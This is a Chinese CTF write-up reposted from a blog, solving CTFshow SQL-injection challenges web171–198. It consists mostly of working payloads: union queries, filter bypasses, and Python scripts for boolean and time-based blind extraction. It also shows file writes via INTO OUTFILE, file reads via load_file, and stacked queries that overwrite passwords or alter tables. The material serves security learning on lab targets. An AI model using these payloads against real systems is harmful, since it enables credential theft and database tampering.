CTFshow-WEB入门-SQL注入(上)

web171

无任何过滤,直接注就完事了。

' union select 1,2,group_concat(password) from ctfshow_user-- -

web172

' union select 1,group_concat(password) from ctfshow_user2--+

web173

' union select 1,2,group_concat(password) from ctfshow_user3-- -

虽然对返回的结果进行了过滤flag,但是flag是username为flag的那一行,password是对应的flag,联合查询让username不回显出来即可。
当然了,如果想要不回显出flag,用函数对数据进行处理也是可以的。比如hex或者to_base64:

to_base64(username)
hex(username)

web174

返回的结果里既不能有flag这个字符串,也不能有数字。第一反应是盲注,写个python脚本:

# @Author:feng
import requests

url='http://5a108e2e-9059-4d80-9d86-af05ad5a7af8.chall.ctf.show/api/v4.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'fengyes','fengno') -- -"%(i,j)

        r=requests.get(url=url+payload).text
        #print(r)

        if 'fengyes' in r:
            max=j
        else :
            min=j

web175

这下彻底彻底没法有输出了,0x00-0x7e都没了,因此考虑时间盲注,把上面的脚本改改就行了:

# @Author:feng
import requests
from time import time

url='http://774b555f-930c-4ab9-acbe-7ef82922d659.chall.ctf.show/api/v5.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)

        start_time=time()
        r=requests.get(url=url+payload).text
        end_time=time()
        #print(r)


        if end_time-start_time>0.48:
            max=j
        else :
            min=j

也可以into outfile注入,这个姿势我之前几题就想直接写马搞了,不过猜测应该没写权限就没做,看了一下大师傅们的WP,还真有写权限。。。所以这是第二种方法:

' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/3.txt'-- -

web176

挺难看出来具体过滤了什么,因为这个过滤好像是把过滤的给置空,然后造成sql语句错误,语句错误才会报错,但是单一的测试比较难知道具体过滤了什么,和怎么过滤的,所以写了个python脚本跑了一下:

# @Author:feng
import requests

url="http://ddbdba2c-d242-42ef-a567-466943da6753.chall.ctf.show/api/?id="

flag=""
for i in range(1,100):
    payload="' or 'select' like '{}'-- -".format('_'*i)
    r=requests.get(url=url+payload).text
    if "\\u67e5\\u8be2\\u6210\\u529f" in r:
        length=i
        print("length="+str(i))
for i in range(1,length+1):
    for j in range(0,128):
        if j==37 or j==95:
            continue
        cj=chr(j)
        payload="' or 'select' like '{}'-- -".format((flag+cj)+'_'*(length-i))
        #print(payload)
        r=requests.get(url=url+payload).text
        #print(r)
        if "\\u67e5\\u8be2\\u6210\\u529f" in r:
            flag+=cj
            print(flag)
            break

经过测试,是把黑名单中的字符串替换成了CTFSHOW。也就怪不得会查询失败了。

弄清楚了waf是怎么写的,再看这题怎么解了。最简单的就是直接' or 1=1-- -,会发现直接最后一行出flag。
正常的SQL注入就还是联合注入,最后发现waf里面应该区分了大小写,所以可以大写绕过select的过滤:

' union selecT 1,2,group_concat(password) from ctfshow_user-- -

web177

在上一题的基础上过滤了空格,可以拿/**/,%0a等来绕过。最后的注释拿%23就可以了,因此万能密码直接出:

'/**/or/**/1=1%23
'%0aor%0a1=1%23
'or(1=1)%23

因为仍然可以大写绕过来注入,所以union注入和上一题的姿势差不多:

'/**/union/**/selecT/**/1,2,password/**/from/**/ctfshow_user%23

web178

/**/不行了,%0a,%09,%0b,%0c,%0d和括号都可以,万能密码和union都行。
union查询用括号:

'union(select(1),2,(password)from(ctfshow_user))%23

web179

%0c还能用,剩下的没区别。
看了一下另一个大师傅的WP,发现万能密码还能这样:

1'or'1'='1'%23

根本不需要空格,学到了,还是基础太差了。

web180

把%23给ban,后面的就没法注释掉了,只能’1’='1这样来闭合后面:

'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

还有Y4tacker师傅的这种姿势:

'or(id=26)and'1'='1

放进去就是:

where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";

因为and的优先级比or大,相当于

(username !='flag' and id = '')  or  (id=26and'1'='1')

所以左边为0但是右边是1,所以where的条件是1,id=26正好是flag的那一个元组。非常巧妙。

web181

除了括号,其他可以代替空格的都给过滤了, 而且SELECT还不区分大小写了,所以最好的方式还是上面那个:

'or(id=26)and'1'='1

当然因为ban的东西并不多,布尔和时间盲注都是可以的。

web182

同上。

web183

太菜了。。思维实在太局限了,真的就是题目给我在from的位置,我就光想着怎么from注入,完全没考虑到后面的where是可控的。
知道了where可控,写个python脚本盲注一下就可以了,思路比较简单,把脚本看一遍就懂思路了:

# @Author:feng
import requests

url="http://b5843871-a72c-4b56-857c-ff1310ebfc19.chall.ctf.show/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
    
    
            'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 1" in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web184

在上一题的基础上又ban了一些东西,比较重要的就是把where给ban了。想了一下,因为前面使用的是count(*),是聚合函数,所以我们可以构造group by 和having子句,在having里面进行盲注。但是试了试发现group by的构造中间必须有空格,拿括号绕不过,我又去看了一下正则,发现没过滤空格,草。。。。
所以在改改自己的python脚本,写个having盲注。还有一个问题就是单双引号也给过滤了,那么like那里拿十六进制绕过一下就可以了:

# @Author:feng
import requests

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

url="http://3ff8724d-3620-45f7-86bc-c38131ecec72.chall.ctf.show/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
    
    
            'tableName':"ctfshow_user group by pass having pass like {}".format("0x"+str_to_hex(flag+j+"%"))
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 1;" in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

看了一下Y4tacker师傅的WP,没用having用的是on,妙啊!大师傅真的是对SQL掌握的很熟啊。连接查询我第一次在SQL注入里见到,以前觉得SQL注入用不到它,现在突然想起来on那里也可以进行盲注,实在是太妙了!
把脚本的data那里改一下就可以了:

# @Author:feng
import requests

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

url="http://3ff8724d-3620-45f7-86bc-c38131ecec72.chall.ctf.show/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
    
    
            'tableName':"ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("0x"+str_to_hex(flag+j+"%"))
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 22;" in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web185

跪了,把数字ban了想着可以通过一些ascii这样的函数搞出来,但是单双引号都ban了就没想到好的构造的方法。不过还是遗忘了mysql的数学函数,还有true:
在这里插入图片描述

所以利用true,char就可以构造出数字了,写个脚本就可以:

# @Author:feng
import requests

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num

def createStrNum(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str

url="http://5efd36ce-c7c3-4751-893e-3c9baf758368.chall.ctf.show:8080/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
    
    
            'tableName':"ctfshow_user group by pass having pass like(concat({}))".format(createStrNum(flag+j+"%"))
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 0;" not in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

参考了y4师傅的脚本:

# @Author:Y4tacker
import requests

url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"

flag = 'flag{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(45):
    if i <= 5:
        continue
    for j in range(127):
        data = {
    
    
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)

                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break

web186

同上。

web187

太菜了。。就是sql注入里面md5(‘xxx’,true)这个考点,之前了解过,现在看到了又一点印象都没有了。
原因参考一下y4tacker师傅的文章:[SQL绕过]md5($str,true)类型绕过----题目来源CTFSHOW—web9
ffifdyop这个字符串md5 ,true的结果是’or’6�]��!r,��b,因此在题目中就变成了

where username = 'admin' and password= ''or'6�]��!r,��b'

还需要知道一下mysql进行布尔判断的一个知识:

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

所以上面就相当于一个万能密码了,然后就可以得到flag。

web188

又是姿势盲区。。

username=0&password=0

where username=0这样的查询中,因为username都会是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来。
password=0的原因在于这里:

if($row['pass']==intval($password)){
    
    

没错。。。弱类型比较,看来查出来的pass也都是以字母开头的,所以password=0可以成功弱类型比较,得到flag。
或者

username=1||1&password=0

同样可以把东西都给查出来,妙啊!

web189

也是一个很有意思的题目。我对于load_file的认知一直就是select load_file(xxxx),通过select查询来把文件内容读出来。所以看到题干:flag在api/index.php文件中,我的第一反应就是联合查询读文件。但是进入环境才发现又是这样没回显的题目,而且还把select给ban了,感觉不太可能是load_file。后来想了很久实在没法子又去往load_file去靠,突然想到可以盲注读flag:

username=if((load_file('/var/www/html/api/index.php'))regexp('ctfshow{'),0,1)&password=2

username=0是上一题的姿势,为0返回的是密码错误,是1返回的就是查询失败。正常不会往盲注这边想,是因为要盲注一整个文件太耗时,不可能出这种题目。但是如果只是盲注出这个文件中的flag,那就很简单了。写个python脚本:

# @Author:feng
import requests

url="http://313b5bc7-3d59-4590-93b8-d2b4e834e62b.chall.ctf.show:8080/api/index.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        payload="if((load_file('/var/www/html/api/index.php'))regexp('{}'),0,1)".format(flag+j)
        data={
    
    
            'username':payload,
            'password':1
        }
        r=requests.post(url=url,data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web190

正常的布尔注入,0过滤,没啥好说的:

# @Author:feng
import requests
from time import time

url='http://97934a65-15ad-4be4-b803-9db19f45f7f7.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            if chr(j)==" ":
                exit()
            break

        #payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0)-- -".format(i,j)
        #payload="' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{},1,0)-- -".format(i,j)
        payload="' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))<{},1,0)-- -".format(i,j)

        data={
    
    
            'username':payload,
            'password':1
        }
        r=requests.post(url=url,data=data).text
        #print(r)
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            max=j
        else :
            min=j

web191

把ascii给ban了,那就不用呗,改1,2行代码就行了:

# @Author:feng
import requests
from time import time

url='http://00b9416c-a0a8-490b-b48b-b2ace6ec42b2.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag.lower())
            if chr(j)==" ":
                exit()
            break

        payload="' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)<'{}',1,0)-- -".format(i,chr(j))

        data={
    
    
            'username':payload,
            'password':1
        }
        r=requests.post(url=url,data=data).text
        #print(r)
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            max=j
        else :
            min=j

web192

加ban了一些东西,但是并不影响上一题的脚本。不过注意到加ban的里面有一个ord函数,在python里挺常见的但是在mysql中倒是第一次见,还是自己太菜了,学的东西太少。查了一下,ascii是返回字符串str的最左面字符的ASCII代码值,而ord返回字符串第一个字符的ASCII 值。乍一看没啥区别,但是我大致扫了一眼可能在处理多字节例如汉字这样的时候有区别?但是就目前SQL注入来说,我只需要知道ord和ascii作用相同就可以了。因此应该上一题的预期解是ord,然后这一题才应该不用ord和ascii盲注,不过问题不大。脚本同上。

web193

substr被ban了,那就直接正则用like,regexp啥的吧不多弄了。还要注意表名改了,要重新注出来:

# @Author:feng
import requests

url='http://aa85bb82-016f-45b0-b0d6-f4fe502a869a.chall.ctf.show:8080/api/index.php'
flag=""
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-,{}_":
        #payload="' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)-- -".format(flag+j+"%")
        #payload="' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)-- -".format(flag+j+"%")
        payload="' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)-- -".format(flag+j+"%")

        data={
    
    
            'username':payload,
            'password':1
        }
        #print(payload)
        r=requests.post(url=url,data=data)
        #print(payload)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web194

同上。不过看了一下y4师傅的payload,还可以利用locate:

payload = f"admin' and if(locate('{final}',(select f1ag from ctfshow_flxg limit 0,1))=1,1,2)='1"

学到了,以前从来没有利用过locate,新姿势!

# @Author:feng
import requests

url='http://9fc7f0ec-1be2-4649-b08e-119e69324111.chall.ctf.show:8080/api/index.php'
flag=""
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-,{}_":

        payload="' or if(locate('{}',(select group_concat(f1ag) from ctfshow_flxg))=1,1,0)-- -".format(flag+j)
        data={
    
    
            'username':payload,
            'password':1
        }
        r=requests.post(url=url,data=data)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web195

终于做了之前几天我想做的事情了,我之前就想堆叠注入了,但是尝试过看来都不行。这题明示是堆叠注入,但是我发现把空格给过滤了,就很懵不知道该怎么办了。看了一下y4师傅的姿势,原来是反引号,这个姿势我又忘了。。。太差了。。:

0;update`ctfshow_user`set`pass`=1
1

把表里的密码都改成1就可以了。username=0的原因前面也都说过了,不用0的话就0x61646d696e,是admin的十六进制,同样可以。

web196

一脸蒙蔽,觉得16个字符不可能,然后看了一下WP。。。。我真的服了。。。
ban的是se1ect,不是select。。。。草。。。。

1;select(1)
1

web197

利用alter更改列名。一开始想着把username更改为pass,然后查出来的就是字符串用户名,和数字0进行弱类型比较就可以了,但是实际尝试发现不行,看了一下发现这题没有检查传入的password是不是数字,而且没有用intval对password进行处理,所以这样不行,那就把id改成pass,然后爆破id就可以了。
payload:

1;alter table `ctfshow_user` change `pass` `feng` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255)

然后username是0或者0x61646d696e,password从1开始用burpsuite爆破即可。

web198

同上。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113664639